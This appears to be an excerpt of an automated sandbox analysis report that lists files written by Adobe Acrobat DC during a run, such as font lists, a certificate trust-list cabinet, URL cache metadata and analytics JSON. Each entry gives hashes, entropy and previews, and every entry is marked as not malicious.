Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.775162490582081
Encrypted:	false
SSDEEP:	3:kkFkliq8cGDtfllXlE/HT8ksEkz1NNX8RolJuRdxLlGB9lQRYwpDdt:kK7eGDeT8eaNMa8RdWBwRd
MD5:	26C0FCFF107BDBB5E31FCDC066F9DD3E
SHA1:	D4485C7579AF385DEA6B3A18AEBFE71851BEC3A5
SHA-256:	3398725D94BF7A77CE40001F725A5F9523ECA14B51C009BA5A2A8F97E422FF10
SHA-512:	1350B19E03A4A721361DFDAABF3F3AB34678A95FAD3239FB9DDF2FDB37B9BDCCE1B3298EEF1C1483942291A5C0133963324311FB5C74075E6F7A6D52BC92CFC4
Malicious:	false
Preview:	p...... .........O~.yc..(....................................................... ..........W.....!..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.242990426783058
Encrypted:	false
SSDEEP:	6:kKZxL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:LiDImsLNkPlE99SNxAhUe/3
MD5:	F2925D65449E932D842DADB9163B9875
SHA1:	2680C03C47D38B6B6F601396B3957D14C9B3FD7C
SHA-256:	78F9896390BD1B2CEB1AE3378B96CCE5ADBB0B4B5DF30F1E04976E4F55265B08
SHA-512:	9025820CEE427B24B85F79F78358FFE3AE88995587819A4EF342000C68384C47FFA239F9C74043E61E93E827CC61D7D4062BB267CEE0ECBA04AD14094AF5F1DA
Malicious:	false
Preview:	p...... .........C..yc..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6664

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6664

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.34836277143466
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQCyzU3O7pvB3/dVlPIHAR0YglKKoAvJM3g98kUwPeUkwRe9:YvXKXE7pvR/ZwHA/5GMbLUkee9
MD5:	4FF8A133C6EDFACF043E0C62AB79090D
SHA1:	4B2F6690F90A7857BAC98C11FE90275682C95EBF
SHA-256:	C4E8189D9DAEE2DCCCE103BB51948CFB43C559FBD2A4953C5E3933D23E0D16FD
SHA-512:	158946D0520459285CD0857679DFCC30F756E71C4DD9D5348631D2CAB0999EDB7AA0AC99C91D2E341D0196EDE96CE346A61F00097B38183A5DFFDB37B6C91AFC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b43370e-2e8b-44f1-a16f-0755937ee9b3","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736702037689,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.282172942810867
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQCyzU3O7pvB3/dVlPIHAR0YglKKoAvJfBoTfXpnrPeUkwRe9:YvXKXE7pvR/ZwHA/5GWTfXcUkee9
MD5:	64721E19EE288563D14BE7513F4D8C0E
SHA1:	3EC17D2298EB804949B0A070D4C195D54FA22538
SHA-256:	FD22A80F22B72D0ABB0B13A6A6F60E47CB25CCF7EFB35FA98F94B4590E61EEC1
SHA-512:	CAC2B582DD1DD9FDFEFD2604A7785069E571AD4A661D700044C411C24C3697486F6AE54870A7C2035D22E18B75A148401595EBF546B2EE429F8187542A5ECAEE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b43370e-2e8b-44f1-a16f-0755937ee9b3","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736702037689,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.262190659627226
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQCyzU3O7pvB3/dVlPIHAR0YglKKoAvJfBD2G6UpnrPeUkwRe9:YvXKXE7pvR/ZwHA/5GR22cUkee9
MD5:	F4243F56166DC3AE57830A308D3A7B32
SHA1:	3B64540FFB1DB77B26F62F53FDBD7CF626E0A71D
SHA-256:	F34FEF49B929EF9D475A18233654D61981BD6072A275BB301E6C03D12998CE82
SHA-512:	43083FEF581143540E99B87E09A9BA91F72E9B9C31056D490B9EB9237B4EEBE0FFFAD8328CF2D20B4E39B09303AE1EDD2C21642860F33232A7C2B167D38A7ABB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b43370e-2e8b-44f1-a16f-0755937ee9b3","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736702037689,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.324784980615656
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQCyzU3O7pvB3/dVlPIHAR0YglKKoAvJfPmwrPeUkwRe9:YvXKXE7pvR/ZwHA/5GH56Ukee9
MD5:	F0402341144EFE39772FA12951D0F1F5
SHA1:	84E27C93076202C829D0AA65E63110A472C5FB7A
SHA-256:	7614A90BE7497EE539E4454939253B8540D84E0CF4111872D149D795BB2081BF
SHA-512:	5BCE35230249B8C13C0D945DBECDB5DC32364ED64D35501466CE9657D0EE37E6368DE976E1E0407292061E020803B26722F9207DD7DCBD7154FFB06DEBFF1312
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b43370e-2e8b-44f1-a16f-0755937ee9b3","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736702037689,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.692334042645464
Encrypted:	false
SSDEEP:	24:Yv6XE7pJhzepLgE9cQx8LennAvzBvkn0RCmK8czOCCS3:YvLpJhihgy6SAFv5Ah8cv/3
MD5:	D31CD4D705410E4682483F806700C0AF
SHA1:	5C98358EA30CF49D2887EB86B23B71D34FA2251D
SHA-256:	809AB99E7A762AF01F293B54A306D7C4469234C3799C768902D92DB0046BD5E0
SHA-512:	FC34FBC6AB19C1F0F31D18A8D7079968C766F8D43F733935066CB52ED4882FC180D95F06D98CF3ED18D6BDB0DBA15713658DBADB011095E9B1DFFEF5AD978112
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b43370e-2e8b-44f1-a16f-0755937ee9b3","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736702037689,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.27517347169309
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQCyzU3O7pvB3/dVlPIHAR0YglKKoAvJf8dPeUkwRe9:YvXKXE7pvR/ZwHA/5GU8Ukee9
MD5:	5873306329A46F9AFC684E7F126449B4
SHA1:	D248F2D82A3D840C787E45F428EFEE9213152011
SHA-256:	1EC13E4805F724F7A268D1B409DD0375BF1068D45B19FFC137D8DF25AB9B3933
SHA-512:	B99D399CE084195EBF808D9FD0E80D5C9C47F8758A00BD6C77FE90D1FBF7AD3D82FB374ED1D6CD0102BDB1519C35EB9F30C7F34A24A70F31374B1C453A713DED
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b43370e-2e8b-44f1-a16f-0755937ee9b3","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736702037689,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.272972923952654
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQCyzU3O7pvB3/dVlPIHAR0YglKKoAvJfQ1rPeUkwRe9:YvXKXE7pvR/ZwHA/5GY16Ukee9
MD5:	535D1A709B5BFD6D30554BA18DC75CF6
SHA1:	A18DBC10744679039DC6DCB71C1AC1FDEE84F581
SHA-256:	1B62901B6C30EA1C3CCF2615611300FDDC77393B5A984ACAE7884D0BBAE07411
SHA-512:	E8A57FC7692670CB941927AC416F28490F5968B4D13C4DDFCC2AAF8128D4852BDE2E5CF1E6C188884094523890111D9A178C77D4476ACC6B0BEFBA17545F65A4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b43370e-2e8b-44f1-a16f-0755937ee9b3","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736702037689,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.290851706174877
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQCyzU3O7pvB3/dVlPIHAR0YglKKoAvJfFldPeUkwRe9:YvXKXE7pvR/ZwHA/5Gz8Ukee9
MD5:	9E204EE2E32A99831A31C842B2F397F8
SHA1:	34AF1ADE44E5F1929C79A876809BC5A98761CB9A
SHA-256:	958B3368186A3FE0616E42036AFE2DDE264063804C74D8DB8A12AEF81B0F8DBE
SHA-512:	160A37F9D2D4C69C58FCFEAC4A7EC0284F64B1FF163F4318498FA4CEB6967F80A716C26780AFE2C35BFB0A1A0A06C985174348A2EFEC23EB766E6CC29F632DFB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b43370e-2e8b-44f1-a16f-0755937ee9b3","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736702037689,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3024221867797685
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQCyzU3O7pvB3/dVlPIHAR0YglKKoAvJfzdPeUkwRe9:YvXKXE7pvR/ZwHA/5Gb8Ukee9
MD5:	004BE76DDEC1CF30E63587B3D3BD4FF8
SHA1:	C61CBD54A129F312FCD996F0EE8F6756018C0A62
SHA-256:	35BDB63C1A763C73B197B177B63C83BD449D811A602302FED803C82763C6E9C0
SHA-512:	FB8C5700D7A50894511DFB17B100CE9EFCBC64BE5273C676CDB3E2D660A4DE5F436D8E14F203499CF884B26D8F2493B552209B614B2371EE77740FC5C50AE364
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b43370e-2e8b-44f1-a16f-0755937ee9b3","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736702037689,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.282420386202995
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQCyzU3O7pvB3/dVlPIHAR0YglKKoAvJfYdPeUkwRe9:YvXKXE7pvR/ZwHA/5Gg8Ukee9
MD5:	737B752EEBEF19DA5502A05E1BA4F19A
SHA1:	5B6F56DDE965978A69377CE97574DE99AEB68E4C
SHA-256:	709CB8C8275C529B66D5AE392D97D35DA5F5C5C63DFF32AAA3D7FA6AC5B9E2A2
SHA-512:	8A05AED64E09E2D55A7C3703BFF821730A1ADB5739542DD3D8E28C7FC6833E7F73E612BDECBA60F4A7F6E958569C332122D52BFC2B97295DEF5E0F0B72AC9658
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4b43370e-2e8b-44f1-a16f-0755937ee9b3","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736702037689,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.269010099772624
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDQCyzU3O7pvB3/dVlPIHAR0YglKKoAvJf+dPeUkwRe9:YvXKXE7pvR/ZwHA/5G28Ukee9
MD5:	DD9E4DA0CB38B13AA19504E4C7FC39C9
SHA1:	AFE305F478A1E31D36BB876EB0EA25170F5FA4E9
SHA-256:	872A17412FDD88EBC54C14603B069E9499D4473DB7EB71798C1643C7242FE1CE
